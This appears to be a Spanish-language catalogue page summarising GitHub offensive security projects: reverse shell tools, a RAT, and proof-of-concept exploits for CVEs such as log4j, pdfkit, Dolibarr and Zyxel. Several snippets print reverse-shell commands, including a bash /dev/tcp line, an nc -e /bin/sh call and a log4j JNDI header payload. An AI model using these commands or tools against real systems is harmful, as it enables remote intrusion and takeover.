CVE-2022-44877-white-box

Documento : https://docs.google.com/document/d/1rQ7e9i2AFzHbASfRu3nkgjIswbrS2AB2i7V9OK3dJLs/edit?usp=sharing Libprochider : https://github.com/gianlucaborello/libprocesshider /var/www/html Demo en YouTube : https://www.youtube.com/watch?v=V0HgzE8IElA&t=343s Máquinas probadas CentOS 7 - CentOS Web...

JSshell

JSshell - versión 3.1 JSshell - un reverse shell de JavaScript. Se utiliza para ejecutar código JS de forma remota, explotar XSS ciego, ... Requisitos: Cualquier sistema operativo + Python 2 o Python 3 Novedades en JSshell versión 3.1 Actualizado en la nueva versión de JSshell 3.1: Nuevo comando...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Mediante CURL modificar valores en negrita: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

hershell

Hershell Shell reverso TCP simple escrito en Go. Utiliza TLS para asegurar las comunicaciones y proporciona una función de fijación de huella digital de clave pública del certificado, evitando la interceptación del tráfico. Los sistemas operativos compatibles son: Windows Linux Mac OS FreeBSD y...

CVE-2024-47533

Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...

CrestCrack

CrestCrack CrestCrack es un script simple que explota CVE-2016-5640 / CLVA-2016-05-002 en Crestron AirMedia AM-100 v1.1.1.11 - v1.2.1. Al proporcionarle argumentos, CrestCrack utilizará netcat para crear una reverse shell entre tu objetivo y un listener netcat de tu elección. Configuración: 1...

CVE-2025-49619

PoC de CVE-2025-49619 Este script explota CVE-2025-49619 en Skyvern para ejecutar un comando de shell inversa. Autor Nombre: Cristian Branet GitHub: cristibtz Uso 1. Inicia un listener nc -lvnp 2. Ejecuta el exploit python3 exploit.py -u "http://:" -k "" -i -p : IP del servidor Skyvern : Puerto...

XeytanWin32-RAT

ADVERTENCIA Este es un RAT con errores, no completado, no estable. Sigue siendo una aplicación "en progreso". Introducción Proyecto creado para matar algo de mi tiempo libre, no se mantiene activamente. Hay muchas cosas que mejorar/arreglar, y llevará tiempo alcanzar estabilidad en este proyecto...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convertir a Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Prueba de concepto Log4j P...

cve-2022-31898

cve-2022-31898 Código POC de explotación para CVE-2022-31898, una inyección de comandos para routers GL-iNet con firmware inferior a 3.215 Uso ./cve-2022-31898.py -h usage: cve-2022-31898.py -h -R RHOST -P RPORT -L LHOST -l LPORT -p PWD -t options: -h, --help show this help message and exit -R...

GoSH

GoSH Generador de shell reversa/enlace en Golang Descripción Esta herramienta genera un binario Go que lanza un shell del tipo deseado en el host objetivo. El binario del shell puede ser compilado para múltiples plataformas, soporta polimorfismo parcial nombres de funciones únicos y puede usar el...

CVE-2025-62369

CVE-2025-62369 PoC Este script explota CVE-2025-62369 en Xibo CMS para ejecutar un comando de reverse shell. Autor Nombre: Cristian Branet GitHub: cristibtz Uso 1. Iniciar un listener nc -lvnp 2. Ejecutar el exploit python3 exploit.py -u "http://:" -s "" -i -p : IP del servidor Xibo CMS : Puerto...

CVE-2021-41773-Playground

CVE-2021-41773-Playground Algunas imágenes de Docker para jugar con CVE-2021-41773 y CVE-2021-42013 Ejecuta docker compose up -d para levantar todos los contenedores. Los servidores se ejecutarán en los puertos 8080, 8081, 8082 y 8083. 8080 contiene un Apache 2.4.49 con CGI deshabilitado. 8081...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

Exploit POC para Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2015-6967-EXPLOIT

CVE-2015-6967-EXPLOIT Exploit PoC para CVE-2015-6967 Este script de Python explota una vulnerabilidad en Nibbleblog CVE-2015-6967 para subir una reverse shell a un objetivo vulnerable. El script solicita al usuario la URL objetivo, las credenciales de usuario y la IP/puerto de tu equipo, y luego...

CVE-2023-29017-reverse-shell

CVE-2023-29017-reverse-shell...

put2win

put2win Script para automatizar la explotación del método HTTP PUT para obtener una shell. Instalación git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh Uso Script para automatizar la explotación del método HTTP PUT para obtener una shell. Options: -t TARGET URL/IP...

Awesome_shiro

Awesome-shiro Herramienta para la deserialización de Shirodecodificar Base64--descifrar AES--deserializar Entorno linux/win10 ambos python2/python3 ambos Debido a que hay ysoserial.jar en module, el proyecto es algo grande; disculpa las molestias. Montar el laboratorio local docker pull...

victorian_machinery

Maquinaria Victoriana Maquinaria Victoriana es una prueba de concepto de exploit para CVE-2022-30525. La vulnerabilidad es una inyección de comandos remota no autenticada que afecta a los firewalls de Zyxel que soportan aprovisionamiento zero touch. Zyxel lanzó una corrección para este problema e...

sophucked

sophucked CVE-2020-25223 RCE PoC, obtiene una reverse shell. Pre-auth. Lo implementé rápidamente porque se necesitaba para unificar algunos imanes de amenazas. Uso de ejemplo: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + starting handler on port 80 + Sending callback to x.x.x.x:80 +...